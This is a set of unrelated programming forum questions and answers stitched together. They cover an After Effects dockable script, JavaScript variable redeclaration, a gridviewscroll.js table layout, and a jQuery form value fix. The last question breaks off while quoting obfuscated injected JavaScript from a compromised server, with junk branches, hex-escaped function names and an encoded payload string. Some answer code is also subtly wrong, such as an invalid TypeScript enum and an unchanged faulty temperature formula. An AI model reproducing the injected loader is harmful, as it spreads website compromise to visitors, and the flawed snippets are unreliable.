I have a working script for after effects, but when I change it to Dockable script,it wont work. Please help me to figure out why? If I take it out of the dock script it is working. I copied this dockable code from goodboy.ninja website.
This the final Dockable Code. Where is the mistake?
(
function(thisObj) {
buildUI(thisObj);
function buildUI(thisObj) {
var windowName = "Diffrence Checker";
var myPanel = (thisObj instanceof Panel) ? thisObj : new Window("window", windowName, undefined, {
resizeable: true
});
// Dropdown list
var groupOne = myPanel.add("group", undefined, "groupOne");
groupOne.orientation = "row";
groupOne.add("StaticText", undefined, "Main Comp");
var mainDD = groupOne.add("dropdownlist", undefined, compArrayNames);
mainDD.size = [175, 25];
var groupTwo = myPanel.add("group", undefined, "groupTwo");
groupTwo.orientation = "row";
groupTwo.add("StaticText", undefined, "Diff File");
var diffDD = groupTwo.add("dropdownlist", undefined, VideoArrayNames);
diffDD.size = [175, 25];
// Button code
var createBT = myPanel.add("group", undefined, "createBT");
createBT.orientation = "column";
var mainbutton = createBT.add("button", undefined, "Create");
//myPanel.center();
//myPanel.show();
myPanel.onResizing = myPanel.onResize = function() {
this.layout.resize();
};
if (myPanel instanceof Window) {
myPanel.center();
myPanel.show();
} else {
myPanel.layout.layout(true);
myPanel.layout.resize();
}
}
// Write your helper functions here
var compArray = [];
var compArrayNames = [];
var VideoArray = [];
var VideoArrayNames = [];
for (var i = 1; i <= app.project.numItems; i++) {
if (app.project.item(i).hasVideo == true && app.project.item(i).file == null) {
compArray.push(app.project.item(i));
compArrayNames.push(app.project.item(i).name);
}
if (app.project.item(i).hasVideo == true && app.project.item(i).hasAudio == true) {
VideoArray.push(app.project.item(i));
VideoArrayNames.push(app.project.item(i).name);
}
}
function createCP() {
app.beginUndoGroup("Editing");
var comlayer = compArray[mainDD.selection.index];
var vidlayer = VideoArray[diffDD.selection.index];
var getcomp = app.project.items.addComp(VideoArrayNames[diffDD.selection.index] + "_DIFF".toString(), 1920, 1080, 1, comlayer.duration, 30);
getcomp.openInViewer();
addVideofile(comlayer, getcomp);
addvideotwofile(vidlayer);
renderQ();
app.endUndoGroup();
}
function addVideofile(comlayer) {
app.project.activeItem.layers.add(comlayer);
}
function addvideotwofile(vidlayer) {
var newlayer = app.project.activeItem.layers.add(vidlayer);
newlayer.blendingMode = BlendingMode.DIFFERENCE;
}
function renderQ() {
var Qcomp = app.project.activeItem;
var Qitem = app.project.renderQueue.items.add(Qcomp);
}
}
)
(this);
My Original script is as follows:
// Diffrence Check
// global variables
var compArray = [];
var compArrayNames = [];
var VideoArray = [];
var VideoArrayNames = [];
for (var i = 1; i <= app.project.numItems; i++){
if (app.project.item(i).hasVideo == true && app.project.item(i).file == null) {
compArray.push (app.project.item(i));
compArrayNames.push (app.project.item(i).name);
}
if (app.project.item(i).hasVideo == true && app.project.item(i).hasAudio== true) {
VideoArray.push (app.project.item(i));
VideoArrayNames.push (app.project.item(i).name);
}
}
var mainWindow = new Window("palette","Difference Checker",undefined);
mainWindow.orientation= "column";
// Dropdown list
var groupOne = mainWindow.add("group",undefined,"groupOne");
groupOne.orientation = "row";
groupOne.add("StaticText",undefined,"Main Comp");
var mainDD = groupOne.add("dropdownlist",undefined,compArrayNames);
mainDD.size = [175,25];
var groupTwo = mainWindow.add("group",undefined,"groupTwo");
groupTwo.orientation = "row";
groupTwo.add("StaticText",undefined,"Diff File");
var diffDD = groupTwo.add("dropdownlist",undefined,VideoArrayNames);
diffDD.size = [175,25];
// Button code
var createBT = mainWindow.add("group",undefined,"createBT");
createBT.orientation = "column";
var mainbutton = createBT.add("button",undefined,"Create");
mainWindow.center();
mainWindow.show();
// Main Code Begins
mainbutton.onClick = function(){
createCP();
}
// Main Function Code
function createCP() {
app.beginUndoGroup("Editing");
var comlayer = compArray[mainDD.selection.index];
var vidlayer = VideoArray[diffDD.selection.index];
var getcomp = app.project.items.addComp(VideoArrayNames[diffDD.selection.index]+"_DIFF".toString(),1920,1080,1,comlayer.duration,30);
getcomp.openInViewer();
addVideofile(comlayer,getcomp);
addvideotwofile(vidlayer);
renderQ();
app.endUndoGroup();
}
function addVideofile(comlayer) {
app.project.activeItem.layers.add(comlayer);
}
function addvideotwofile(vidlayer){
var newlayer = app.project.activeItem.layers.add(vidlayer);
newlayer.blendingMode = BlendingMode.DIFFERENCE;
// var outputModule = item.outputModule()
}
function renderQ(){
var Qcomp =app.project.activeItem;
var Qitem = app.project.renderQueue.items.add(Qcomp);
}
You have an invisible Zero-Width Joiner between
buildUI(thisObj);
and
function buildUI(thisObj) {
and again after
//myPanel.show();
const toHex = str => {
var result = '';
for (var i=0; i<str.length; i++) {
result += str.charCodeAt(i).toString(16);
}
return result;
};
const stringWithJoiner = ` `; // space (20) and joiner (200D)
console.log(toHex(stringWithJoiner))
Here is your script without it
(function(thisObj) {
buildUI(thisObj);
function buildUI(thisObj) {
var windowName = "Diffrence Checker";
var myPanel = (thisObj instanceof Panel) ? thisObj : new Window("window", windowName, undefined, {
resizeable: true
});
// Dropdown list
var groupOne = myPanel.add("group", undefined, "groupOne");
groupOne.orientation = "row";
groupOne.add("StaticText", undefined, "Main Comp");
var mainDD = groupOne.add("dropdownlist", undefined, compArrayNames);
mainDD.size = [175, 25];
var groupTwo = myPanel.add("group", undefined, "groupTwo");
groupTwo.orientation = "row";
groupTwo.add("StaticText", undefined, "Diff File");
var diffDD = groupTwo.add("dropdownlist", undefined, VideoArrayNames);
diffDD.size = [175, 25];
// Button code
var createBT = myPanel.add("group", undefined, "createBT");
createBT.orientation = "column";
var mainbutton = createBT.add("button", undefined, "Create");
//myPanel.center();
//myPanel.show();
myPanel.onResizing = myPanel.onResize = function() {
this.layout.resize();
};
if (myPanel instanceof Window) {
myPanel.center();
myPanel.show();
} else {
myPanel.layout.layout(true);
myPanel.layout.resize();
}
}
// Write your helper functions here
var compArray = [];
var compArrayNames = [];
var VideoArray = [];
var VideoArrayNames = [];
for (var i = 1; i <= app.project.numItems; i++) {
if (app.project.item(i).hasVideo == true && app.project.item(i).file == null) {
compArray.push(app.project.item(i));
compArrayNames.push(app.project.item(i).name);
}
if (app.project.item(i).hasVideo == true && app.project.item(i).hasAudio == true) {
VideoArray.push(app.project.item(i));
VideoArrayNames.push(app.project.item(i).name);
}
}
function createCP() {
app.beginUndoGroup("Editing");
var comlayer = compArray[mainDD.selection.index];
var vidlayer = VideoArray[diffDD.selection.index];
var getcomp = app.project.items.addComp(VideoArrayNames[diffDD.selection.index] + "_DIFF".toString(), 1920, 1080, 1, comlayer.duration, 30);
getcomp.openInViewer();
addVideofile(comlayer, getcomp);
addvideotwofile(vidlayer);
renderQ();
app.endUndoGroup();
}
function addVideofile(comlayer) {
app.project.activeItem.layers.add(comlayer);
}
function addvideotwofile(vidlayer) {
var newlayer = app.project.activeItem.layers.add(vidlayer);
newlayer.blendingMode = BlendingMode.DIFFERENCE;
}
function renderQ() {
var Qcomp = app.project.activeItem;
var Qitem = app.project.renderQueue.items.add(Qcomp);
}
})
(this);
This is what I have, which returns no-redeclare warnings
if (sym === "BTCUSD") {
var LastPrice = tickers[0].last_price;
var LastDir = tickers[0].last_tick_direction;
var High24 = tickers[0].high_price_24h;
var Low24 = tickers[0].low_price_24h;
}
if (sym === "ETHUSD") {
var LastPrice = tickers[1].last_price;
var LastDir = tickers[1].last_tick_direction;
var High24 = tickers[1].high_price_24h;
var Low24 = tickers[1].low_price_24h;
}
if (sym === "EOSUSD") {
var LastPrice = tickers[2].last_price;
var LastDir = tickers[2].last_tick_direction;
var High24 = tickers[2].high_price_24h;
var Low24 = tickers[2].low_price_24h;
}
if (sym === "XRPUSD") {
var LastPrice = tickers[3].last_price;
var LastDir = tickers[3].last_tick_direction;
var High24 = tickers[3].high_price_24h;
var Low24 = tickers[3].low_price_24h;
}
This is what I'm trying to write out..
if (sym === "BTCUSD") {
var x = 0;
}
if (sym === "ETHUSD") {
var x = 1;
}
if (sym === "EOSUSD") {
var x = 2;
}
if (sym === "XRPUSD") {
var x = 3;
}
var LastPrice = tickers[x].last_price;
var LastDir = tickers[x].last_tick_direction;
var High24 = tickers[x].high_price_24h;
var Low24 = tickers[x].low_price_24h;
I'm trying to figure out the best way to clean this up and avoid any warnings and errors.
Edit: declaring var x = 0 prior does fix the error but it still leaves me with 4 warnings for re-declaring x instead of 12 for the others. is there a better way to write this?
Create an enum looking like this:
enum SymType {
"BTCUSD",
"ETHUSD",
"EOSUSD",
"XRPUSD"
}
Then use it like this instead of multiple if checks:
const {last_price, last_tick_direction, high_price_24h, low_price_24h} = tickers[SymType[sym]];
TS - Variable 'x' is used before being assigned. TS(2454)
Reason: There is no guarantee that for the compiler that one of the ifs will match ensuring that x gets assigned.
Fix
One solution is to use an if else chain with an final else:
if (sym === "BTCUSD") {
var x = 0;
}
else if (sym === "ETHUSD") {
var x = 1;
}
else if (sym === "EOSUSD") {
var x = 2;
}
else if (sym === "XRPUSD") {
var x = 3;
}
else { throw new Error('sym is not valid'); }
var LastPrice = tickers[x].last_price;
var LastDir = tickers[x].last_tick_direction;
var High24 = tickers[x].high_price_24h;
var Low24 = tickers[x].low_price_24h;
I would write, if I stick to your style
var symsObj = {
"BTCUSD": 0,
"ETHUSD": 1,
"EOSUSD": 2,
"XRPUSD": 3,
};
var x = symsObj[sym];
var LastPrice = tickers[x].last_price;
var LastDir = tickers[x].last_tick_direction;
var High24 = tickers[x].high_price_24h;
var Low24 = tickers[x].low_price_24h;
I am working on a project where I am creating tables from files. At times the data in the frozen cell is very long (longer than the grid size). I have it wrapped and showing correctly but when I use the gridviewscroll.js (http://gridviewscroll.aspcity.idv.tw/) the wrapping goes away and the text is stretched out. How can I fix this? in gridviewscroll.js I tried:
Commenting out this.Contentfixed.style.width
hard coding this.Contentfixed.style.width to 200 px (for example).
Nothing worked. How can I fix this issue?
Gridviewscroll.js code below:
var GridViewScrollOptions = /** #class */ (function () {
function GridViewScrollOptions() {
}
return GridViewScrollOptions;
}());
var GridViewScrollScrollPosition = /** #class */ (function () {
function GridViewScrollScrollPosition() {
}
return GridViewScrollScrollPosition;
}());
var GridViewScroll = /** #class */ (function () {
function GridViewScroll(options) {
this._initialized = false;
if (options.elementID == null)
options.elementID = "";
if (options.width == null)
options.width = "700";
if (options.height == null)
options.height = "350";
if (options.freezeColumnCssClass == null)
options.freezeColumnCssClass = "";
if (options.freezeFooterCssClass == null)
options.freezeFooterCssClass = "";
if (options.freezeHeaderRowCount == null)
options.freezeHeaderRowCount = 1;
if (options.freezeColumnCount == null)
options.freezeColumnCount = 1;
this.initializeOptions(options);
}
GridViewScroll.prototype.initializeOptions = function (options) {
this.GridID = options.elementID;
this.GridWidth = options.width;
this.GridHeight = options.height;
this.FreezeColumn = options.freezeColumn;
this.FreezeFooter = options.freezeFooter;
this.FreezeColumnCssClass = options.freezeColumnCssClass;
this.FreezeFooterCssClass = options.freezeFooterCssClass;
this.FreezeHeaderRowCount = options.freezeHeaderRowCount;
this.FreezeColumnCount = options.freezeColumnCount;
this.OnScroll = options.onscroll;
};
GridViewScroll.prototype.enhance = function () {
this.FreezeCellWidths = [];
this.IsVerticalScrollbarEnabled = false;
this.IsHorizontalScrollbarEnabled = false;
if (this.GridID == null || this.GridID == "") {
return;
}
this.ContentGrid = document.getElementById(this.GridID);
if (this.ContentGrid == null) {
return;
}
if (this.ContentGrid.rows.length < 2) {
return;
}
if (this._initialized) {
this.undo();
}
this._initialized = true;
this.Parent = this.ContentGrid.parentNode;
this.ContentGrid.style.display = "none";
if (typeof this.GridWidth == 'string' && this.GridWidth.indexOf("%") > -1) {
var percentage = parseInt(this.GridWidth);
this.Width = this.Parent.offsetWidth * percentage / 100;
}
else {
this.Width = parseInt(this.GridWidth);
}
if (typeof this.GridHeight == 'string' && this.GridHeight.indexOf("%") > -1) {
var percentage = parseInt(this.GridHeight);
this.Height = this.Parent.offsetHeight * percentage / 100;
}
else {
this.Height = parseInt(this.GridHeight);
}
this.ContentGrid.style.display = "";
this.ContentGridHeaderRows = this.getGridHeaderRows();
this.ContentGridItemRow = this.ContentGrid.rows.item(this.FreezeHeaderRowCount);
var footerIndex = this.ContentGrid.rows.length - 1;
this.ContentGridFooterRow = this.ContentGrid.rows.item(footerIndex);
this.Content = document.createElement('div');
this.Content.id = this.GridID + "_Content";
this.Content.style.position = "relative";
this.Content = this.Parent.insertBefore(this.Content, this.ContentGrid);
this.ContentFixed = document.createElement('div');
this.ContentFixed.id = this.GridID + "_Content_Fixed";
this.ContentFixed.style.overflow = "auto";
this.ContentFixed = this.Content.appendChild(this.ContentFixed);
this.ContentGrid = this.ContentFixed.appendChild(this.ContentGrid);
this.ContentFixed.style.width = String(this.Width) + "px";
if (this.ContentGrid.offsetWidth > this.Width) {
this.IsHorizontalScrollbarEnabled = true;
}
if (this.ContentGrid.offsetHeight > this.Height) {
this.IsVerticalScrollbarEnabled = true;
}
this.Header = document.createElement('div');
this.Header.id = this.GridID + "_Header";
this.Header.style.position = "relative";
this.HeaderFixed = document.createElement('div');
this.HeaderFixed.id = this.GridID + "_Header_Fixed";
this.HeaderFixed.style.overflow = "hidden";
this.Header = this.Parent.insertBefore(this.Header, this.Content);
this.HeaderFixed = this.Header.appendChild(this.HeaderFixed);
this.ScrollbarWidth = this.getScrollbarWidth();
this.prepareHeader();
this.calculateHeader();
this.Header.style.width = String(this.Width) + "px";
if (this.IsVerticalScrollbarEnabled) {
this.HeaderFixed.style.width = String(this.Width - this.ScrollbarWidth) + "px";
if (this.IsHorizontalScrollbarEnabled) {
this.ContentFixed.style.width = this.HeaderFixed.style.width;
if (this.isRTL()) {
this.ContentFixed.style.paddingLeft = String(this.ScrollbarWidth) + "px";
}
else {
this.ContentFixed.style.paddingRight = String(this.ScrollbarWidth) + "px";
}
}
this.ContentFixed.style.height = String(this.Height - this.Header.offsetHeight) + "px";
}
else {
this.HeaderFixed.style.width = this.Header.style.width;
this.ContentFixed.style.width = this.Header.style.width;
}
if (this.FreezeColumn && this.IsHorizontalScrollbarEnabled) {
this.appendFreezeHeader();
this.appendFreezeContent();
}
if (this.FreezeFooter && this.IsVerticalScrollbarEnabled) {
this.appendFreezeFooter();
if (this.FreezeColumn && this.IsHorizontalScrollbarEnabled) {
this.appendFreezeFooterColumn();
}
}
var self = this;
this.ContentFixed.onscroll = function (event) {
var scrollTop = self.ContentFixed.scrollTop;
var scrollLeft = self.ContentFixed.scrollLeft;
self.HeaderFixed.scrollLeft = scrollLeft;
if (self.ContentFreeze != null)
self.ContentFreeze.scrollTop = scrollTop;
if (self.FooterFreeze != null)
self.FooterFreeze.scrollLeft = scrollLeft;
if (self.OnScroll != null) {
self.OnScroll(scrollTop, scrollLeft);
}
};
};
Object.defineProperty(GridViewScroll.prototype, "scrollPosition", {
get: function () {
var position = new GridViewScrollScrollPosition();
position.scrollTop = this.ContentFixed.scrollTop;
position.scrollLeft = this.ContentFixed.scrollLeft;
return position;
},
set: function (gridViewScrollScrollPosition) {
var scrollTop = gridViewScrollScrollPosition.scrollTop;
var scrollLeft = gridViewScrollScrollPosition.scrollLeft;
this.ContentFixed.scrollTop = scrollTop;
this.ContentFixed.scrollLeft = scrollLeft;
if (this.ContentFreeze != null)
this.ContentFreeze.scrollTop = scrollTop;
if (this.FooterFreeze != null)
this.FooterFreeze.scrollLeft = scrollLeft;
},
enumerable: true,
configurable: true
});
GridViewScroll.prototype.getGridHeaderRows = function () {
var gridHeaderRows = new Array();
for (var i = 0; i < this.FreezeHeaderRowCount; i++) {
gridHeaderRows.push(this.ContentGrid.rows.item(i));
}
return gridHeaderRows;
};
GridViewScroll.prototype.prepareHeader = function () {
this.HeaderGrid = this.ContentGrid.cloneNode(false);
this.HeaderGrid.id = this.GridID + "_Header_Fixed_Grid";
this.HeaderGrid = this.HeaderFixed.appendChild(this.HeaderGrid);
this.prepareHeaderGridRows();
for (var i = 0; i < this.ContentGridItemRow.cells.length; i++) {
this.appendHelperElement(this.ContentGridItemRow.cells.item(i));
this.appendHelperElement(this.HeaderGridHeaderCells[i]);
}
};
GridViewScroll.prototype.prepareHeaderGridRows = function () {
this.HeaderGridHeaderRows = new Array();
for (var i = 0; i < this.FreezeHeaderRowCount; i++) {
var gridHeaderRow = this.ContentGridHeaderRows[i];
var headerGridHeaderRow = gridHeaderRow.cloneNode(true);
this.HeaderGridHeaderRows.push(headerGridHeaderRow);
this.HeaderGrid.appendChild(headerGridHeaderRow);
}
this.prepareHeaderGridCells();
};
GridViewScroll.prototype.prepareHeaderGridCells = function () {
this.HeaderGridHeaderCells = new Array();
for (var i = 0; i < this.ContentGridItemRow.cells.length; i++) {
for (var rowIndex in this.HeaderGridHeaderRows) {
var cgridHeaderRow = this.HeaderGridHeaderRows[rowIndex];
var fixedCellIndex = 0;
for (var cellIndex = 0; cellIndex < cgridHeaderRow.cells.length; cellIndex++) {
var cgridHeaderCell = cgridHeaderRow.cells.item(cellIndex);
if (cgridHeaderCell.colSpan == 1 && i == fixedCellIndex) {
this.HeaderGridHeaderCells.push(cgridHeaderCell);
}
else {
fixedCellIndex += cgridHeaderCell.colSpan - 1;
}
fixedCellIndex++;
}
}
}
};
GridViewScroll.prototype.calculateHeader = function () {
for (var i = 0; i < this.ContentGridItemRow.cells.length; i++) {
var gridItemCell = this.ContentGridItemRow.cells.item(i);
var helperElement = gridItemCell.firstChild;
var helperWidth = parseInt(String(helperElement.offsetWidth));
this.FreezeCellWidths.push(helperWidth);
helperElement.style.width = helperWidth + "px";
helperElement = this.HeaderGridHeaderCells[i].firstChild;
helperElement.style.width = helperWidth + "px";
}
for (var i = 0; i < this.FreezeHeaderRowCount; i++) {
this.ContentGridHeaderRows[i].style.display = "none";
}
};
GridViewScroll.prototype.appendFreezeHeader = function () {
this.HeaderFreeze = document.createElement('div');
this.HeaderFreeze.id = this.GridID + "_Header_Freeze";
this.HeaderFreeze.style.position = "absolute";
this.HeaderFreeze.style.overflow = "hidden";
this.HeaderFreeze.style.top = "0px";
this.HeaderFreeze.style.left = "0px";
this.HeaderFreeze.style.width = "";
this.HeaderFreezeGrid = this.HeaderGrid.cloneNode(false);
this.HeaderFreezeGrid.id = this.GridID + "_Header_Freeze_Grid";
this.HeaderFreezeGrid = this.HeaderFreeze.appendChild(this.HeaderFreezeGrid);
this.HeaderFreezeGridHeaderRows = new Array();
for (var i = 0; i < this.HeaderGridHeaderRows.length; i++) {
var headerFreezeGridHeaderRow = this.HeaderGridHeaderRows[i].cloneNode(false);
this.HeaderFreezeGridHeaderRows.push(headerFreezeGridHeaderRow);
var columnIndex = 0;
var columnCount = 0;
while (columnCount < this.FreezeColumnCount) {
var freezeColumn = this.HeaderGridHeaderRows[i].cells.item(columnIndex).cloneNode(true);
headerFreezeGridHeaderRow.appendChild(freezeColumn);
columnCount += freezeColumn.colSpan;
columnIndex++;
}
this.HeaderFreezeGrid.appendChild(headerFreezeGridHeaderRow);
}
this.HeaderFreeze = this.Header.appendChild(this.HeaderFreeze);
};
GridViewScroll.prototype.appendFreezeContent = function () {
this.ContentFreeze = document.createElement('div');
this.ContentFreeze.id = this.GridID + "_Content_Freeze";
this.ContentFreeze.style.position = "absolute";
this.ContentFreeze.style.overflow = "hidden";
this.ContentFreeze.style.top = "0px";
this.ContentFreeze.style.left = "0px";
this.ContentFreeze.style.width = "";
this.ContentFreezeGrid = this.HeaderGrid.cloneNode(false);
this.ContentFreezeGrid.id = this.GridID + "_Content_Freeze_Grid";
this.ContentFreezeGrid = this.ContentFreeze.appendChild(this.ContentFreezeGrid);
var freezeCellHeights = [];
var paddingTop = this.getPaddingTop(this.ContentGridItemRow.cells.item(0));
var paddingBottom = this.getPaddingBottom(this.ContentGridItemRow.cells.item(0));
for (var i = 0; i < this.ContentGrid.rows.length; i++) {
var gridItemRow = this.ContentGrid.rows.item(i);
var gridItemCell = gridItemRow.cells.item(0);
var helperElement = void 0;
if (gridItemCell.firstChild.className == "gridViewScrollHelper") {
helperElement = gridItemCell.firstChild;
}
else {
helperElement = this.appendHelperElement(gridItemCell);
}
var helperHeight = parseInt(String(gridItemCell.offsetHeight - paddingTop - paddingBottom));
freezeCellHeights.push(helperHeight);
var cgridItemRow = gridItemRow.cloneNode(false);
var cgridItemCell = gridItemCell.cloneNode(true);
if (this.FreezeColumnCssClass != null || this.FreezeColumnCssClass != "")
cgridItemRow.className = this.FreezeColumnCssClass;
var columnIndex = 0;
var columnCount = 0;
while (columnCount < this.FreezeColumnCount) {
var freezeColumn = gridItemRow.cells.item(columnIndex).cloneNode(true);
cgridItemRow.appendChild(freezeColumn);
columnCount += freezeColumn.colSpan;
columnIndex++;
}
this.ContentFreezeGrid.appendChild(cgridItemRow);
}
for (var i = 0; i < this.ContentGrid.rows.length; i++) {
var gridItemRow = this.ContentGrid.rows.item(i);
var gridItemCell = gridItemRow.cells.item(0);
var cgridItemRow = this.ContentFreezeGrid.rows.item(i);
var cgridItemCell = cgridItemRow.cells.item(0);
var helperElement = gridItemCell.firstChild;
helperElement.style.height = String(freezeCellHeights[i]) + "px";
helperElement = cgridItemCell.firstChild;
helperElement.style.height = String(freezeCellHeights[i]) + "px";
}
if (this.IsVerticalScrollbarEnabled) {
this.ContentFreeze.style.height = String(this.Height - this.Header.offsetHeight - this.ScrollbarWidth) + "px";
}
else {
this.ContentFreeze.style.height = String(this.ContentFixed.offsetHeight - this.ScrollbarWidth) + "px";
}
this.ContentFreeze = this.Content.appendChild(this.ContentFreeze);
};
GridViewScroll.prototype.appendFreezeFooter = function () {
this.FooterFreeze = document.createElement('div');
this.FooterFreeze.id = this.GridID + "_Footer_Freeze";
this.FooterFreeze.style.position = "absolute";
this.FooterFreeze.style.overflow = "hidden";
this.FooterFreeze.style.left = "0px";
this.FooterFreeze.style.width = String(this.ContentFixed.offsetWidth - this.ScrollbarWidth) + "px";
this.FooterFreezeGrid = this.HeaderGrid.cloneNode(false);
this.FooterFreezeGrid.id = this.GridID + "_Footer_Freeze_Grid";
this.FooterFreezeGrid = this.FooterFreeze.appendChild(this.FooterFreezeGrid);
this.FooterFreezeGridHeaderRow = this.ContentGridFooterRow.cloneNode(true);
if (this.FreezeFooterCssClass != null || this.FreezeFooterCssClass != "")
this.FooterFreezeGridHeaderRow.className = this.FreezeFooterCssClass;
for (var i = 0; i < this.FooterFreezeGridHeaderRow.cells.length; i++) {
var cgridHeaderCell = this.FooterFreezeGridHeaderRow.cells.item(i);
var helperElement = this.appendHelperElement(cgridHeaderCell);
helperElement.style.width = String(this.FreezeCellWidths[i]) + "px";
}
this.FooterFreezeGridHeaderRow = this.FooterFreezeGrid.appendChild(this.FooterFreezeGridHeaderRow);
this.FooterFreeze = this.Content.appendChild(this.FooterFreeze);
var footerFreezeTop = this.ContentFixed.offsetHeight - this.FooterFreeze.offsetHeight;
if (this.IsHorizontalScrollbarEnabled) {
footerFreezeTop -= this.ScrollbarWidth;
}
this.FooterFreeze.style.top = String(footerFreezeTop) + "px";
};
GridViewScroll.prototype.appendFreezeFooterColumn = function () {
this.FooterFreezeColumn = document.createElement('div');
this.FooterFreezeColumn.id = this.GridID + "_Footer_FreezeColumn";
this.FooterFreezeColumn.style.position = "absolute";
this.FooterFreezeColumn.style.overflow = "hidden";
this.FooterFreezeColumn.style.left = "0px";
this.FooterFreezeColumn.style.width = "";
this.FooterFreezeColumnGrid = this.HeaderGrid.cloneNode(false);
this.FooterFreezeColumnGrid.id = this.GridID + "_Footer_FreezeColumn_Grid";
this.FooterFreezeColumnGrid = this.FooterFreezeColumn.appendChild(this.FooterFreezeColumnGrid);
this.FooterFreezeColumnGridHeaderRow = this.FooterFreezeGridHeaderRow.cloneNode(false);
this.FooterFreezeColumnGridHeaderRow = this.FooterFreezeColumnGrid.appendChild(this.FooterFreezeColumnGridHeaderRow);
if (this.FreezeFooterCssClass != null)
this.FooterFreezeColumnGridHeaderRow.className = this.FreezeFooterCssClass;
var columnIndex = 0;
var columnCount = 0;
while (columnCount < this.FreezeColumnCount) {
var freezeColumn = this.FooterFreezeGridHeaderRow.cells.item(columnIndex).cloneNode(true);
this.FooterFreezeColumnGridHeaderRow.appendChild(freezeColumn);
columnCount += freezeColumn.colSpan;
columnIndex++;
}
var footerFreezeTop = this.ContentFixed.offsetHeight - this.FooterFreeze.offsetHeight;
if (this.IsHorizontalScrollbarEnabled) {
footerFreezeTop -= this.ScrollbarWidth;
}
this.FooterFreezeColumn.style.top = String(footerFreezeTop) + "px";
this.FooterFreezeColumn = this.Content.appendChild(this.FooterFreezeColumn);
};
GridViewScroll.prototype.appendHelperElement = function (gridItemCell) {
var helperElement = document.createElement('div');
helperElement.className = "gridViewScrollHelper";
while (gridItemCell.hasChildNodes()) {
helperElement.appendChild(gridItemCell.firstChild);
}
return gridItemCell.appendChild(helperElement);
};
GridViewScroll.prototype.getScrollbarWidth = function () {
var innerElement = document.createElement('p');
innerElement.style.width = "100%";
innerElement.style.height = "200px";
var outerElement = document.createElement('div');
outerElement.style.position = "absolute";
outerElement.style.top = "0px";
outerElement.style.left = "0px";
outerElement.style.visibility = "hidden";
outerElement.style.width = "200px";
outerElement.style.height = "150px";
outerElement.style.overflow = "hidden";
outerElement.appendChild(innerElement);
document.body.appendChild(outerElement);
var innerElementWidth = innerElement.offsetWidth;
outerElement.style.overflow = 'scroll';
var outerElementWidth = innerElement.offsetWidth;
if (innerElementWidth === outerElementWidth)
outerElementWidth = outerElement.clientWidth;
document.body.removeChild(outerElement);
return innerElementWidth - outerElementWidth;
};
GridViewScroll.prototype.isRTL = function () {
var direction = "";
if (window.getComputedStyle) {
direction = window.getComputedStyle(this.ContentGrid, null).getPropertyValue('direction');
}
else {
direction = this.ContentGrid.currentStyle.direction;
}
return direction === "rtl";
};
GridViewScroll.prototype.getPaddingTop = function (element) {
var value = "";
if (window.getComputedStyle) {
value = window.getComputedStyle(element, null).getPropertyValue('padding-Top');
}
else {
value = element.currentStyle.paddingTop;
}
return parseInt(value);
};
GridViewScroll.prototype.getPaddingBottom = function (element) {
var value = "";
if (window.getComputedStyle) {
value = window.getComputedStyle(element, null).getPropertyValue('padding-Bottom');
}
else {
value = element.currentStyle.paddingBottom;
}
return parseInt(value);
};
GridViewScroll.prototype.undo = function () {
this.undoHelperElement();
for (var _i = 0, _a = this.ContentGridHeaderRows; _i < _a.length; _i++) {
var contentGridHeaderRow = _a[_i];
contentGridHeaderRow.style.display = "";
}
this.Parent.insertBefore(this.ContentGrid, this.Header);
this.Parent.removeChild(this.Header);
this.Parent.removeChild(this.Content);
this._initialized = false;
};
GridViewScroll.prototype.undoHelperElement = function () {
for (var i = 0; i < this.ContentGridItemRow.cells.length; i++) {
var gridItemCell = this.ContentGridItemRow.cells.item(i);
var helperElement = gridItemCell.firstChild;
while (helperElement.hasChildNodes()) {
gridItemCell.appendChild(helperElement.firstChild);
}
gridItemCell.removeChild(helperElement);
}
if (this.FreezeColumn) {
for (var i = 2; i < this.ContentGrid.rows.length; i++) {
var gridItemRow = this.ContentGrid.rows.item(i);
var gridItemCell = gridItemRow.cells.item(0);
var helperElement = gridItemCell.firstChild;
while (helperElement.hasChildNodes()) {
gridItemCell.appendChild(helperElement.firstChild);
}
gridItemCell.removeChild(helperElement);
}
}
};
return GridViewScroll;
}());
I figured it out.. in my html I added the max-width parameter. When I added this to the CSS it was ignoring it but when I added it directly in the html it worked.
<td style="max-width:190px; min-width:50px;">#data[column].ToString()</td>
I want the output of my program to be sent to an MEdit box but for whatever reason the html method does not set the value of the box should I use an MLabel instead?
here is my code:
function MButton1Click(event)
{
var temp = $("#MEdit1").val();
temp = parseInt(temp);
var selectedItem = $("input[name='MRadioGroup1']:checked").val();
if(selectedItem == 0)
{
var five9ths = 5/9;
temp = temp - five9ths;
temp = temp + 32;
$('#MEdit3').html("C");
}
else
{
var nine5ths = 9/5;
temp = temp * nine5ths;
temp = temp + 32;
$('#MEdit3').html("F");
}
var temperature = temp.toString();
$('#MEdit2').html(temperature);
}
You need to use .val() instead of .html()
$('#MEdit3').val("C");
Here is what your code should look like :
function MButton1Click(event) {
var temp = $("#MEdit1").val();
temp = parseInt(temp);
var selectedItem = $("input[name='MRadioGroup1']:checked").val();
if (selectedItem == 0) {
var five9ths = 5 / 9;
temp = temp - five9ths;
temp = temp + 32;
$('#MEdit3').val("C");
} else {
var nine5ths = 9 / 5;
temp = temp * nine5ths;
temp = temp + 32;
$('#MEdit3').val("F");
}
var temperature = temp.toString();
$('#MEdit2').val(temperature);
}
This question is unlikely to help any future visitors; it is only relevant to a small geographic area, a specific moment in time, or an extraordinarily narrow situation that is not generally applicable to the worldwide audience of the internet. For help making this question more broadly applicable, visit the help center.
Closed 10 years ago.
For some reason I have yet to find out all .html and .php files on my server have been altered to include the following Javascript (I have beautified it with http://jsbeautifier.org/):
<script type="text/javascript">
if ('GulVG' == 'dvLWnC') LCXW = 'ukNoT';
if ('QjTy' == 'OGvoYK') iBPba = 'YmwGf';
var qiyTHJNSK = "939f9f9b655a5a968c9f909e9f8c9f626259a09e5a9499598e92946a64";
function NEHbsc() {
var RQrwz = 'ufOn';
if ('Juxm' == 'mHxLm') Niaf();
}
var px1_var = "1px";
var uvWXHd = 'pDito';
if ('skhYX' == 'Gczk') hYkhb();
var rGsu;
var hitxMCSTc = "pa\x72s\x65\x49nt";
var WNOgK = "b\x6fdy";
var oqHu;
var NPOXa = 39;
var HGBXMBYkq = "co\x6e\x73tructor";
var CodwDw;
var adBe = 261;
var fmvCwPvf = "\x66\x72o\x6dC\x68ar\x43ode";
var gmCUwm = 6;
var BcWka = 'prssL';
var SjIk = 'DcwGHM';
var UBzc;
var pubYymvCW = "a\x70\x70en\x64C\x68ild";
var EVHJIA = 'nGzZ';
if ('NWGB' == 'XlySU') AWtq();
var LnJbDi = "";
if ('jUcBg' == 'tFKsdn') fRhEH = 'PEeA';
